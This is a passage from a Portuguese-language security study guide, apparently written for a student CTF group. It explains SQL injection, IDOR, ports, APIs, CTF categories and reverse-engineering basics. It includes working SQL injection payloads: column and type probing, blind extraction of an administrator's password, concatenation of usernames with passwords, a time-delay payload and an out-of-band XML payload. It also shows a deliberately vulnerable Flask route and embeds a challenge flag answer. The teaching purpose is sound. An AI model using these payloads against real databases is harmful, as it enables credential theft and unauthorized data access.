abaixo retorna 4 colunas: a, b (da table\_1) e c, d (da table\_2). ```sql SELECT a, b FROM table_1 UNION SELECT c, d FROM table_2 ``` Para uma *query* com UNION funcionar, é necessário que: * Cada SELECT, antes e depois do UNION, tenha a mesma quantidade de colunas (ex.: na *query* acima, estamos buscando 2 colunas no primeiro SELECT e 2 colunas no segundo SELECT); * O tipo de dado de cada coluna seja correspondente entre as *queries* individualmente (ex.: na *query* acima, a coluna 'a' deve ser do mesmo tipo da coluna 'c' e a coluna 'b' deve ser do mesmo tipo da coluna 'd'). ### Dicas para esse tipo de ataque #### Descobrir número de colunas da tabela Para descobrir o número de colunas presentes na tabela, podemos usar o `ORDER BY` + `índice da coluna na tabela`. Esse comando ordena as respostas (por ordem alfabética por exemplo) de acordo com certa coluna. Para descobrir a quantidade de colunas da tabela, basta ir aumentando o índice da coluna no `ORDER BY`. Quando o servidor responder com um erro para o `ORDER BY X`, sabemos que a coluna X não existe e, portanto, a tabela tem X-1 colunas. ```sql ' blabla' ORDER BY 1 -- ' blabla' ORDER BY 2 -- ' blabla' ORDER BY 3 -- ``` Se o erro for enviado ao cliente de forma explícita, ele deve ser algo como `"The ORDER BY position number 3 is out of range of the number of items in the select list."` Outra opção para descobrir o número de colunas é utilizar ORDER BY passando vários NULL como "colunas" de ordenação: ```sql ' blabla' ORDER BY NULL, NULL -- tabela tem pelo menos 2 colunas se não retornar erro ' blabla' ORDER BY NULL, NULL, NULL -- tabela tem pelo menos 3 colunas se não retornar erro ``` #### Descobrir tipo de dado de certa coluna Sabendo o número de colunas da tabela é possível descobrir o tipo de dado em cada coluna. Para isso, é necessário realizar testes com *queries* do tipo: ```sql ' blabla' UNION SELECT 'a',NULL,NULL,NULL -- ' blabla' UNION SELECT NULL,'a',NULL,NULL -- ' blabla' UNION SELECT NULL,NULL,'a',NULL -- ' blabla' UNION SELECT NULL,NULL,NULL,'a'-- ``` Ao submeter, por exemplo, `' UNION SELECT 'a',NULL,NULL,NULL --`, testaremos se a 1ª coluna contém strings, pois estamos fazendo um UNION, ou seja, o dado da 1ª coluna do 1º SELECT deve ser do mesmo tipo que o da 1ª coluna do 2º SELECT (o mesmo vale para as outras colunas). Caso o servidor responda com um erro (como `Conversion failed when converting the varchar value 'a' to data type int.`), sabemos que a primeira coluna não contém strings (varchar). Do contrário, se a *query* for um sucesso, a primeira coluna armazena strings. `NULL` pode ser convertido para qualquer tipo, portanto não haverá problemas relacionados a tipos de dado incompatíveis ao utilizá-lo num UNION. ## [Blind SQL Injection](https://portswigger.net/web-security/sql-injection/blind) Já escrevi muita coisa para essa introdução, agora é com vocês: pesquisem! * Checar o começo de uma senha com `SUBSTRING`: `SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '` + `pwn' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--` -> `TRUE` => 1ª letra da senha é maior que 'm'(usar SUBSTR ou SUBSTRING - depende do DB) * Outra possibilidade de teste é: `SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '` + `pwn' UNION SELECT 'a' WHERE 1=1--` ## Extra * Para exibir a lista de tabelas do DB (exceto DBs da Oracle): ```sql SELECT * FROM information_schema.tables ``` -Para exibir lista de colunas de uma tabela: ```sql SELECT * FROM information_schema.columns WHERE table_name = 'Users' ``` * Em DBs da Oracle, usa-se: ```sql SELECT * FROM all_tables -- listar tabelas SELECT * FROM all_tab_columns WHERE table_name = 'nome_da_tabela' -- listar colunas ``` * Em DBs da Oracle, um `SELECT` sempre deve conter um `FROM `. Para isso, uma tabela "padrão" para se usar é `DUAL` * Para concatenar resultados (colunas diferentes) em uma coluna, pode-se usar o `||`: `' UNION SELECT username || '~' || password FROM users -- -` (ORACLE e POSTGRE) ou `'foo'+'bar'` (MICROSOFT) ou `'foo' 'bar'` e `CONCAT('foo','bar')` (MYSQL) *Para ver mais, procure por "SQL Injection Cheat Sheets" como* [*essa*](https://portswigger.net/web-security/sql-injection/cheat-sheet) *ou* [*essa*](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)*.* ## Como detectar uma SQL Injection? Ferramentas como Burpsuite ou Sqlmap são capazes de detectar diversas vulnerabilidades relacionadas à SQL Injection de forma automática, mas também podemos realizar alguns testes simples para verificar se há falhas no sistema responsável pela comunicação com o banco de dados. Alguns desses testes são: * Enviar aspas simples (`'`); * Enviar condicionais como `OR 1=1` e `OR 1=2`; * Enviar *payloads* com *triggers* de tempo (*delay*) como `'; IF (1=2) WAITFOR DELAY '0:0:10'--` e analisar o tempo de resposta; * Enviar *payloads* de OAST ([Out-of-band Application Security Testing](https://portswigger.net/blog/oast-out-of-band-application-security-testing)) que causam certos *triggers* e monitorar interações com sistemas externos. * Já que não explicamos sobre isso, segue um exemplo: ```sql '||(select extractvalue(xmltype(' %ekiom;]>'),'/l') from dual)||' -- conecta com um servidor de colaborador do Burp (faz uso de XML/DTD) ``` ## Links externos * [Portswigger](https://portswigger.net/web-security/sql-injection) * [OWASP](https://owasp.org/www-community/attacks/SQL_Injection) * [Acunetix](https://www.acunetix.com/websitesecurity/sql-injection/) * [Slides](https://docs.google.com/presentation/d/1b4_fIMaTUPHAttJusjnAbkdXcLSwSJiV9X3IfRGP0yI/edit?usp=sharing) # Insecure Direct Object Reference (IDOR) *Como última vulnerabilidade apresentada aqui, iremos falar sobre o IDOR, um tipo de falha que, apesar de ser muito simples de corrigir, abre margem para vazamento ou manipulação indevida de dados.* ## O que é o IDOR? O IDOR (ou *Insecure Direct Object Reference*) é uma vulnerabilidade que ocorre quando um sistema web utiliza uma forma insegura para referenciar objetos e dados que serão retornados ao usuário ou que serão modificados por ele sem garantir que tal pessoa, ao realizar essas ações, tenha o nível de acesso adequado para isso. Um pouco confuso? Então vamos para alguns exemplos... ## Cenários de exemplos ### Cenário 1 - IDOR via parâmetro GET Neste cenário, vamos supor que você está navegando por um site como um usuário autenticado e, ao se deparar com a URL, encontra algo da seguinte forma: ``` https://ga.nesh.com/profile/?userId=1337 ``` Como um bom computeiro curioso, você decide mudar o parâmetro `userId` para 1338 e solicitar ao servidor novamente aquela página, ou seja, enviar uma requisição com esse novo parâmetro. Com isso, você ganha acesso aos dados da conta de uma tal de Mariena - com foto de perfil de gatinho. Este é o exemplo mais simples de **Insecure Direct Object Reference**, pois nesse caso os dados do usuário estão sendo referênciados diretamente pelo seu ID passado via parâmetro sem que haja qualquer outra validação (como cookies de sessão). ![Exemplo IDOR](https://i.imgur.com/mD3L5UU.png) #### Código vulnerável de exemplo: Esse trecho de código em Python foi retirado de um post no medium [acesse-o aqui](https://medium.com/@aysebilgegunduz/everything-you-need-to-know-about-idor-insecure-direct-object-references-375f83e03a87). Esse código é vulnerável pois um usuário pode passar qualquer `‘order_id’` em uma requisição GET que ele receberá as informações da ordem com aquele ID. Não há qualquer verificação que valide se o dono daquela ordem (com o `order_id` passado) é quem está fazendo a requisição, portanto, qualquer pessoa pode acessar qualquer ordem - basta saber o ID dela. ```python from flask import request @app.route(‘/order_details’, methods=[‘GET’]) def order_details(): order_id = request.args.get(‘order_id’) # aqui o "order_id" passado na requisição é pego order = Orders.query.filter_by(id=order_id).first_or_404() # não há qualquer verificação no order_id! # As informações são buscadas sem que haja uma validação de quem está pedindo essas informações # Não há controle de "ownership" da ordem (só quem fez a ordem deveria poder vê-la) return render_template(‘order_details.html’, order=order) ``` ### Cenário 2 - IDOR via Cookie Esse cenário é similiar ao anterior, porém ao invés de utilizar um parâmetro via URL, usa-se algum cookie que atua como identificador na página. ### Cenário 3 - IDOR via "Hidden Input" Vamos agora para o cenário em que você é um usuário já cadastrado e logado. Enquanto você navega pelo mesmo site do cenário 1, você decide editar alguns dados do seu perfil. Uma tela de edição de nome, e-mail, endereço etc. é exibida. Então, você decide inspecionar o formulário de edição dos dados e se depara com o seguinte campo no meio do formulário: ```markup ``` Você decide mudar seu nome para `Smith`, mas também altera o valor do campo *hidden* para 1338, muito curioso para ver o que acontece. Ao enviar o formulário e recarregar a página, nada acontece no seu perfil. Porém, ao voltar à página do cenário 1 e buscar os dados da Mariena (agora Smith), vê-se que os dados dela foram alterados no seu lugar. Este é outro exemplo simples de IDOR. Todavia, nesse caso, a vulnerabilidade foi utilizada não apenas para buscar dados, mas também para modificá-los de maneira indevida. É por isso que tais vulnerabilidades abrem uma grande margem para problemas em uma aplicação real. ## Como descobrir essa vulnerabilidade? No geral, IDORs podem ser descobertos mais facilmente com o auxílio de scanners automáticos e ferramentas de Proxy (como o Burp Suite ou o Zap Proxy), tendo em vista que tais vulnerabilidades geralmente ficam expostas a nível de requisição (Parâmetros GET, POST, Cookies). A princípio, você vai querer testar como a modicação de parâmetros suspeitos (possivelmente vulneráveis) afetará o retorno de cada requisição a fim de verificar se há ou não esse tipo de brecha em um website. ## Qual a importância do IDOR? No caso do IDOR, a gravidade desse tipo de vulnerabilidade é fortemente atrelada a onde ela foi encontrada. Por exemplo, se encontrassemos essa vulnerabilidade em uma [API](/web/semana-2/apis_e_rest) cuja URL é responsável por retornar os dados dos usuário, contendo `nome, CPF, RG, endereço etc.` e quem sabe até permitindo a manipulação desses dados, haveria uma falha gravíssima no sistema. Já se a URL retornasse dados que já são públicos por padrão, então a vulnerabilidade seria de gravidade leve ou inexistente uma vez que dados sensíveis não seriam exibidos nem nenhum processo de autenticação seria burlado. ## Para saber mais... Caso tenha interesse em saber mais sobre IDORs, recomendamos as seguintes referências: 1. [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards.](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/) 2. [PortSwigger: IDOR](https://portswigger.net/web-security/access-control/idor) 3. [OWASP: IDOR (Broken Access Control)](https://owasp.org/www-chapter-ghana/assets/slides/IDOR.pdf) 4. [Owasp IDOR Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html) # 2020 - Portas e Serviços *No texto de Servidores Web abordamos principalmente os serviços que são servidos por meio das requisições HTTP. Vamos comentar agora sobre outros serviços que, na maioria dos casos, também estão presentes em um servidor.* ## O que são Ports? Em um computador agindo como servidor web, é comum que haja uma grande quantidade de serviços que precisam enviar e receber dados pela rede utilizando diferentes tipos de protocolos. Como saber, então, a qual serviço cada pacote recebido pertence? Este é o objetivo das portas: uma sequência numérica de 16 bits que identifica e mapeia processos a endereços na rede de maneira exclusiva. Não é o objetivo desse texto se aprofundar no funcionamento técnico das portas ou do modelo TCP/IP. Mas, caso seja do seu interesse, você poderá ler um pouco sobre isso nos links abaixo: * O que são Portas TCP e UDP? () * Portas () * TCP/IP () ## Convenções e Port Scanners Com o crescimento da Internet e seus serviços, algumas convenções foram adotadas para facilitar a comunicação dentre usuários. Uma dessas convenções foi a de padronizar o uso de algumas portas para determinados serviços. Um Servidor HTTP, por exemplo, é comumente executado na porta 80. Dessa forma, ao acessar um website por meio de um browser, não é necessário dizer ao navegador qual será a porta utilizada para enviar as requisições, uma vez que o navegador irá definir, por conta própria, a porta padrão a ser utilizada. Você pode ver no link a seguir uma grande lista com diversos serviços e suas respectivas portas (lembre-se que tal convenção não é obrigatória, podendo esses serviços serem distribuidos em outras portas sob critério do administrador do servidor) . Mas como saber se um servidor web dispõe ou não de outros serviços? Para isso existem ferramentas chamadas de Port Scanners, cujo objetivo é verificar se a máquina do servidor está escutando por requisições para tais serviços. Essas ferramentas podem tanto fazer uma busca simples, baseando-se nas portas mais convencionais, quanto utilizar a força bruta para buscar serviços em portas não usuais. ## Exemplos de Serviços * **Port 20/21 - File Transfer Protocol (FTP):** Protocolo que permite transferir arquivos entre dois computador conectados via Internet (Saiba mais: ). Uma falha nesse serviço pode ocasionar livre acesso à injeção de arquivos (por vezes maliciosos). * **Port 22 - Secure Shell (SSH):** Protocolo que permite acesso e controle remoto do servidor por meio de uma comunicação criptografada. * **Port 25/587 - Simple Mail Transfer Protocol (SMTP):** Protocolo para envio de mensagens de correio eletrônico. É um serviço usado apenas para saída de pacotes. * **Port 110 - Post Office Protocol version 3 (POP3)** Protocolo utilizado para acesso remoto a servidores de e-mail. Permite o download das mensagens para a máquina local. * **Port 80 - HTTP** * **Port 443 - HTTP Secure (HTTPS)** ## Qual a importância? Servidores Web são instâncias visíveis e, no geral, bastante acessíveis para que qualquer um possa enviar e solicitar dados. Sob a perspectiva de um agente malicioso, um Scan de Portas é geralmente um dos primeiros passos realizados contra um determinado endereço. Isso é utilizado como método de reconhecer quais serviços são oferecidos e quais portas estão abertas para comunicação pela rede. Não é incomum, por exemplo, a existência de bots que vasculham a internet em busca de determinados serviços para, em seguida, realizar ataques automatizados por meio de vulnerabilidades já conhecidas. Já sob a perspectiva de um administador da máquina, um Scan de Portas é interessante, pois pode denúnciar a existência de backdoors ou outros processos maliciosos - como de um servidor FTP em uma porta não convencional. # 2020 - API's e Serviços Rest *Em um mundo cada vez mais conectado, a web já não funciona apenas como um meio de distribuição de conteúdo mas também como provedora de diversos serviços que se tornaram essenciais ao cotidiano. Com a popularização dos dispositivos móveis, é cada vez necessário permitir que um mesmo sistema seja acessível tanto via browser quanto via aplicativos mobile.* *Tendo em mente a problemática acima, iremos começar conversando sobre assíncronismos, API's, e padrões REST, mostrando no fim a importância desse conhecimento na área de segurança web.* ## 1. Requisições Assíncronas Vamos fazer uma viagem no tempo e lembrar um pouco como eram os websites no início dos anos 2000. O protocolo HTTP já existia (em uma versão mais nova) e alguns websites já serviam serviços aos usuários como redes sociais ou webmails. Naquela época, toda vez que o usuário quisesse visualizar um novo conteúdo ou enviar algum formulário era necessário realizar uma nova requisição e recarregar uma nova página do servidor. Mas hoje em dia as coisas não funcionam desta maneira. O feed do facebook, por exemplo, não necessita que o usuário realize um refresh em toda a página para carregar novas postagens e isso é possível devido às requisições assíncronas. O **AJAX** (Asynchronous Javascript and XML) é um recurso da linguagem Javascript que foi adicionado em 2005 e é o responsável pelos comportamentos descritos acima, pois ele permite ao website enviar e receber dados do servidor sem a necessidade de toda a pagina ser recarregada. ```javascript var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = this.responseText; } }; xhttp.open("GET", "ajax_info.txt", true); xhttp.send(); ``` Exemplo AJAX (fonte w3schools) No exemplo acima, uma requisição GET assíncrona é disparada para buscar um arquivo `ajax_info.txt` do servidor e, caso o servidor ache o arquivo e o retorne com sucesso, carrega seu conteúdo em uma tag cujo atributo é `id="demo"`. ## 2. Application Programming Interface (API) Caso você já tenha ouvido falar sobre alguns frameworks web como React, Angular.js, Vue.js ou outros, muitos deles são voltados para a criação de sistemas que separam a aplicação que irá consumir os dados (front-end) com a responsável pelo armazenamento e execução das funcionalidades (back-end). Uma das vantagens de fazer essa separação é a de economizar o tempo de desenvolvimento e centralizar o código para futuras manutenções. Continuando a usar o Facebook como exemplo, o código central dele seria o responsável por buscar novos feeds, cadastrar uma nova postagem etc, enquanto o aplicativo mobile, browser ou desktop teria apenas a função de garantir a exibição desses dados em uma interface e disparar as requisições assíncronas com o servidor conforme o usuário interage com o sistema. Alguns sistemas grandes, como o Twitter, possuem API's públicas cujo objetivo é permitir que desenvolvedores possam criar soluções que sejam integradas com seus sistemas, mas no geral em aplicações de médio e pequeno porte as API's são voltadas para o uso interno e exclusivo via algum client mobile ou front-end[.](https://youtu.be/BxV14h0kFs0) ## 3. REST e Serviços RESTful Ao pesquisar sobre API's e requisições assíncronas, é bastante comum se deparar com os termos REST e RESTful. Apesar de não ser algo tão importante para segurança em si, é interessante saber do que se trata, uma vez que ela permite alguns insights durante um teste de invasão e segurança. No geral, o REST se trata de um conjunto de boas práticas feitas para garantir que uma API seja estruturada de maneira semântica e organizada. Esse modelo foi proposto por um dos criadores do protocolo HTTP, Roy Fielding, e é muito utilizado nos dias atuais devido aos fatos que já foram citados no início desse texto. Um exemplo simples de boa prática seria o uso correto dos métodos HTTP ao enviar uma requisição assíncrona. ``` GET https://meu.website.com/usuarios/13 DELETE https://meu.website.com/usuarios/13 ``` No exemplo acima, ambas as requisições são mapeadas para uma mesma url na API. A primeira, no entanto, se trata de um GET e teria o sentido semântico de buscar os dados do usuário 13, enquanto o segundo seria uma ação de exclusão do mesmo. ## 4. XML, JSON, YAML Quando uma requisição assíncrona é enviada ao servidor, é necessário que os dados sejam retornados de uma maneira estruturada e que possa ser processada pela aplicação do cliente. Vamos supor, por exemplo, que queremos consumir os dados usados no exemplo anterior: ``` GET https://meu.website.com/usuarios/13 ``` Existem diferentes formatos que o servidor pode utilizar para servir esses dados, sendo os mais famosos: * **XML (Extensible Markup Language):** é uma linguagem de marcação que utiliza de TAG's e se assemelha muito ao HTML. É visualmente menos legível porém permite a criação de atributos dentro das tags. * **JSON (JavaScript Object Notation):** é uma estrutura baseada em chave-valor bastante utilizada devido à sua legibilidade e clareza para transmitir os dados. * **YAML (YAML Ain't Markup Language)** Dando um exemplo do possível retorno da nossa API em JSON e em XML, poderiamos ter algo como ```markup 13 João da Silva 10/03/1992 ``` Exemplo XML ```javascript { "usuario": { "role":"administrador", "id":13, "nome":"João", "sobrenome":"da Silva", "nascimento":"10/03/1992" } } ``` Exemplo JSON Como se pode ver, ambos os casos expressam os dados do mesmo usuário de maneira eficiente, cabendo aos desenvolvedores decidir qual é o melhor formato a ser utilizado no retorno das requisições. ## 5. E qual a importância? A web está muito mais presente nos sistemas do que muitas pessoas acreditam. Seja um site, um aplicativo mobile ou até mesmo algum [dispositivo IoT](https://pt.wikipedia.org/wiki/Internet_das_coisas), geralmente há uma API sendo consumida por cada um desses itens e é importante que a mesma seja construída de maneira segura pois, caso contrário, sempre haverá alguém disposto a tentar se aproveitar das vulnerabilidades dessa aplicação. A existência de API's inseguras muitas vezes permite o vazamento de dados sensíveis e este é o 3º tópico abordado no [OWASP Top 10 ](https://owasp.org/www-project-top-ten/). Um bom exemplo desse tipo de vulnerabilidade por ser visto [neste caso da Nissan](https://www.troyhunt.com/controlling-vehicle-features-of-nissan/) ou nesse da [Sky](https://www.zdnet.com/article/sky-brasil-exposes-data-of-32-million-subscribers/) em que ambos possuiam uma API que permitia o retorno de dados sem qualquer verificação ou senha por parte do solicitante. # CTF ## O que é CTF? Se você chegou até aqui, é bem provável que já saiba o que é um CTF, mas explicarei de qualquer forma. CTF, ou *Capture The Flag,* é uma modalidade de competição, também sendo referido como um jogo, de segurança de informação. Nos CTFs são apresentados diversos desafios relacionados à segurança, cujo objetivo costuma ser explorar um sistema, descobrir uma falha ou algo do gênero. ### Modalidades de CTF Existem diversos tipos de CTF, o mais comum (e o que usamos no Ping), é o **Jeopardy**, onde são apresentados desafios usualmente independentes entre si, onde o usuário completa o desafio, pega a flag, comprovando isso, e submete em uma plataforma, conseguindo pontos, mas essa não é a única modalidade da competição. Outra modalidade comum é o ***Attack & Defense**,* onde usualmente cada time é "dono" de um sistema, que vem com vulnerabilidades, e o objetivo é consertar essas vulnerabilidades enquanto explora-se as dos outros times, ganhando pontos caso se explore uma falha de outro time e perdendo caso seja a vítima. Isso é mais comum em competições presenciais, por ser necessária toda uma infraestrutura que suporte as interações entre os diferentes times, apesar de não ser algo exclusivo. Ainda, outra modalidade é o ***Boot2Root***, onde são disponibilizadas máquinas inteiras em que o objetivo do jogador é conseguir acesso e fazer a escalação de privilégios (ou conseguir acesso root, daí o nome *Boot2Root).* Sites comuns dessa modalidade são o *Hackthebox*, que disponibiliza máquinas online para serem invadidas pelos usuários, e o *Vulnhub,* que disponibiliza máquinas virtuais, as quais o usuário baixa e executa no seu computador. Nesse último caso normalmente não há submissão de flags online, o que faz com que não seja exatamente uma competição. ### Qual a importância do CTF para a segurança da informação? CTFs são um ótimo jeito de aprender sobre técnicas novas de segurança. É bem comum se deparar com um cenário que nunca viu antes e passar um bom tempo pesquisando para aprender a resolver o desafio. No fim, mesmo que não consiga, são liberadas as resoluções (ou *write-ups)* pelos próprios jogadores, o que faz com que possa ler sobre e entender o que faltou. Além disso, empresas de segurança costumam valorizar jogadores de CTF. Por adquirir uma certa experiência com as competições, jogadores conseguem demonstrar as suas habilidades ao resolver os desafios, o que pode ser colocado no currículo e ajudar bastante a conseguir aquela querida vaga de emprego. Fora o fato que várias empresas fazem desafios no estilo CTF para contratação de novos empregados, principalmente em níveis iniciais. ### O que preciso saber para jogar um CTF? Nada! Existem CTFs de diversos níveis, desde aqueles feitos para escolas de ensino fundamental e médio, para faculdades e outros para os "melhores hackers" do mundo. Se você está querendo começar nesse mundo e está perdido, a recomendação inicial é pegar algum CTF feito para iniciantes, como por exemplo o *picoCTF*, aberto o ano todo, ou os CTFs feitos para escolas de ensino fundamental/médio, como o *NeverlanCTF* ou o *Angstrom CTF.* ### Onde procurar por CTFs? A grande plataforma de CTFs mundial é o [ctftime](https://ctftime.org/), que possui listas de CTFs que acontecem quase todo fim de semana (normalmente múltiplos CTFs por final de semana), além de ranquear os melhores times e CTFs de acordo com um sistema de votação implementado pelo site (o que facilita para os usuários reconhecerem quais são os melhores para que possam jogá-los). O site também é um bom lugar para procurar por *write-ups,* dado que eles mesmos disponibilizam uma página para os usuários postarem os seus write-ups de cada CTF feito. ## Categorias comuns de CTFs É comum que os desafios de um CTF Jeopardy sejam divididos em categorias, podendo cada desafio ser de uma ou mais. Existem também CTFs "exóticos" que costumam criar desafios de categorias não incluídas aqui, então nem sempre tudo se incluirá aqui. Em ordem alfabética, as categorias mais comuns de CTF são as seguintes: ### Criptografia Os desafios de criptografia se dividem em 2 categorias principais. 1 - Abordar os principais ataques conhecidos a criptografias: Usualmente esses desafios envolvem alguma criptografia já publicada, podendo ser amplamente conhecida ou não, e tem alguma falha que deve ser explorada para se obter a flag. 2 - Abordar falha em programação relacionada a criptografias: São dados códigos de uma determinada implementação não segura de alguma criptografia ou *hashing* e o objetivo de jogador é conseguir entender o que está sendo feito, qual a falha e como quebrar esse código. A categoria acaba sendo ótima para quem gosta de matemática e de programar soluções criptográficas. ### Engenharia Reversa Os desafios giram em torno de entender como um programa funciona, qual a falha nele e como essas vulnerabilidades podem ser exploradas, de forma semelhante ao que se usa para "crackear" um programa ou fazer um hack para um jogo, por exemplo. A categoria costuma ser muito relacionada a programação e sistemas de baixo nível, o que faz com que os jogadores precisem ter um conhecimento mais elevado sobre arquiteturas de computadores, assembly e programação C. Os desafios relacionados a engenharia reversa costumam ter como vantagem que ajudam bastante a entender como os programas funcionam nos "bastidores", ou seja, como um sistema operacional interage com um programa e como ele na verdade é interpretado e executado, por exemplo. ### Miscellaneous Miscellaneous, também conhecida como *misc.* é a categoria que usualmente não está relacionada com nenhuma das outras e aborda assuntos diversos, por exemplo conhecimento de softwares de rádio, decodificação de áudios/imagens, linguagens esotéricas, softwares com funcionalidades "fora do comum", e todo o resto que não se encaixa em outras categorias. Se está realmente lendo, aqui a resposta do desafio do ping, submeta no formato usual: I\_c4n\_r3ad ### Networking/Redes Obviamente, envolvem conhecimentos de redes. Giram em torno de ataques relacionados a redes, como ataques em proxy, análises de tráfego, *bypass* de *firewall*, análises de protocolos e truques relacionados a ferramentas de redes. Em diversos CTFs essa categoria acaba entrando como misc, por não se tratar tanto do conhecimento de uma vulnerabilidade específica mas sim o uso do conhecimento de redes para conseguir explorar alguma vulnerabilidade apresentada que não necessariamente é diretamente relacionada a redes. ### Professional Programming Competition (PPC) São desafios de programação, semelhantes aos de programação competitiva, sem muita relação com segurança em si. Não é uma categoria tão comum, é bem característica de algumas competições específicas, como o *Hackaflag*, ctf brasileiro, que costuma contar com um desafio dessa categoria a cada edição. É bom para praticar a criação de scripts e a programação em si, bastante usada em algumas áreas da segurança da informação. ### Pwning/Shellcoding O nome Pwning vem de um trocadilho com o verbo "*Owning*", que é, nesse contexto, "se tornar dono de". Essa categoria usualmente vem combinada com engenharia reversa, em que é necessário entender uma aplicação e explorar ela para quebrar o sistema e/ou se tornar dono dele (literalmente tomando posse da máquina) e executar comandos arbitrários. É uma categoria boa para quem quer começar a desenvolver os próprios exploits, sendo considerado um "algo a mais" na parte de engenharia reversa. ### Web É bastante relacionado a falhas de segurança web (como sql injection, xss, entre outras). Em CTFs mais voltados para iniciantes costuma ser exploração direta de vulnerabilidades, enquanto nos avançados o foco é maior em *bypass* de *Web Application Firewalls* (WAF) ou reconhecimento da aplicação para posterior exploração das vulnerabilidades. Quanto mais se conhece de aplicações web, melhor, dado que novas vulnerabilidades estão sempre a aparecer. É considerada uma das categorias mais fáceis de se começar, por não depender tanto de conteúdo prévio, apesar de que uma base forte de programação web é bastante útil para a exploração mais elaborada de vulnerabilidades com certo nível de proteção. Uma das principais vantagens de *web* é a existência grande de programas de *Bug Bounty*, onde profissionais de segurança podem reportar vulnerabilidades para companhias e receber pagamentos (*bounties)* em troca. Algumas plataformas grandes são o *hackerone* e *bugcrowd,* que já pagaram milhões de dólares em bounties. ## Sugestões * Se especializar em menos áreas com um time diversificado é uma boa ideia: Segurança é praticamente sem fim, sendo impossível saber tudo de tudo, então o que é aconselhado é escolher algumas áreas e criar uma especialidade nela. Como CTFs usualmente são competições em time um time com vários especialistas em áreas distintas se torna mais forte. * Ler writeups é uma ótima forma de aprender: Ver como são resolvidos desafios que não foram resolvidos pelo seu time acaba sendo um jeito bom de aprender o que não conseguiu. * Pessoas diferentes criam soluções diferentes: Diversos desafios não tem uma só solução. O que faz com que seja bom ver resoluções mesmo de desafios que não foram resolvidos. Boa sorte com os desafios :) # Engenharia Reversa # Arquivos No fundo, todos os arquivos são compostos por bytes (ou seja, vários 1s e 0s), porém podemos dividir os arquivos em duas grandes classificações, arquivos binários, e arquivos de texto. Em arquivos de texto, cada byte representa um caractere, arquivos de texto podem ser abertos com programas simples de edição de texto, e podem ter seu conteúdo lido sem dificuldade. Já arquivos binários são todos os arquivos que não são de texto, em arquivos binários os bytes podem representar diversas coisas, não necessariamente characteres, por exemplo, em imagens os bytes podem representar a cor de cada pixel, já em arquivos executáveis, os bytes podem ser utilizados para representar instruções para o computador. Um arquivo binário aberto com um editor de texto pode mostrar coisas completamente ilegíveis. ## Alguns comandos importantes ### strings O comando strings é utilizado para recuperar strings (texto), de arquivos binários. Ele percorre o arquivo binário e retorna todas as strings 'human-readable', ou seja, que possuem characteres que podem ser lidos por nós. ### xxd O comando xxd, ou Hexdump, pode ser utilizado para mostrar os bytes de um arquivo (em hexadecimal, por isso o nome), o hex dump pode ser muito importante para analisar ou ver as informações que compõem um arquivo. ### objdump e readelf Os comandos objdump e redelf são utilizados para obter informações sobre binários ou arquivos objeto (arquivos resultantes da compilação de algum código fonte), o objdump pode ser utilizado para obter o código Assembly de um executável. ## Magic Numbers Os primeiros bytes de um arquivo são chamados de Magic Numbers, e eles são utilizados para identificar qual tipo de arquivo é. A ideia de se colocar os magic numbers no início é para evitar que o computador precisa percorrer o arquivo para identificar seu tipo. Por exemplo, quando vamos abrir uma imagem, o computador precisa saber que o arquivo é uma imagem, para isso ele pode verificar os primeiros bytes e descobrir qual o formato do arquivo. O comando "file" do Linux verifica os magic numbers e retorna o tipo do arquivo (caso consiga identificá-lo). ## Exemplo Abaixo podemos ver um hexdump de uma imagem, e podemos ver seu Magic Number (424d). ![Exemplo hexdump](https://i.imgur.com/aVYW6tT.png) # Registradores e tipos de dados ## Registradores e Tipos de Dados Aqui estaremos estudando os registradores da arquitetura x86 e x86-64, seguindo principalmente o padrão da Intel. Para guardar variáveis de forma no geral e passá-los de uma parte da memória para outra, a nossa principal ferramenta são os registradores. ### Registradores Na arquitetura x86 temos 8 registradores de propósitos gerais (ou GPR) de 32-bits, alguns deles também podem ser divididos em registradores de 8 e 16 bits. #### Registradores de propósito geral Como o próprio nome diz, esses registradores são de propósito geral, ou seja, podem ser usados para "qualquer coisa", mas usualmente seguem algumas convenções | Registrador | Convenção | 16 - Bits | 8 Bits | | ----------- | :--------------------------------------------------------------------: | :-------: | :----: | | EAX | Acumulador, usado para operações aritméticas e para guardar resultados | AX | AH-AL | | EBX | Registrador secundário, usado como "base" em operações de vetores | - | - | | ECX | Contador em loops | - | - | | EDX | Usado para guardar endereços de dados | - | - | #### Registradores de Endereços | Registrador | Propósito | 16 - Bits | | ----------- | ------------------------------------------------- | :-------: | | ESI | Fonte em operações de memória/strings | SI | | EDI | Destino em operações de memória/strings | DI | | EBP | Registrador base para a stack/pilha (frame atual) | BP | | ESP | Pointeiro da stack/pilha | SP | #### Outros registradores | Registrador | Propósito | 16 - Bits | | ----------- | --------------------------------------------------------------------------------------- | :-------: | | EIP | Instruction Pointer (Program counter) - Indica em qual instrução a execução se encontra | - | | EFLAGS | Guarda resultado de operações - Ex: Flag Zero | - | ### Set de Instruções O conjunto de instruções x86 envolve o movimento de dados entre registradores e memória, classificados em 5 tipos: * Imediato para registrador * Registrador para registrador * Imediato para memória * Registrador para memória e vice-versa * Memória para memória - Somente nas arquiteturas RISC. #### x86 O foco aqui será a sintaxe da Intel. **Intel vs AT\&T** A AT\&T prefixa os registradores com `%` e imediatos com `$`, o que não acontece na Intel. Eles também adicionam um prefixo à instrução para indicar o tamanho do dado da operação (long, byte, etc. ). Na sintaxe da Intel, o destino vem e, em seguida, a fonte (op dest source ), na AT\&T é o contrário. (Pense em dest=fonte) As instruções têm comprimento variável (1 a 15 bytes ). x86 usa colchetes ( \[] ) para indicar acesso à memória (semelhante ao asterisco ( \* ) em C / C ++ ) Para somar ou subtrair o endereço dentro de \[] geralmente é usado hexadecimal, por exemplo: mov eax \[ecx + 10h] - Onde h é usado para indicar notação hexadecimal. **Instruções** * MOV - mov ecx, \[eax] * Seta ecx = \[eax] * ADD - inc dword ptr \[eax] * Incrementa o valor no endereço eax. * SUB - sub eax, 0x20 * Subtrai eax por 0x20 (32 em decimal). * 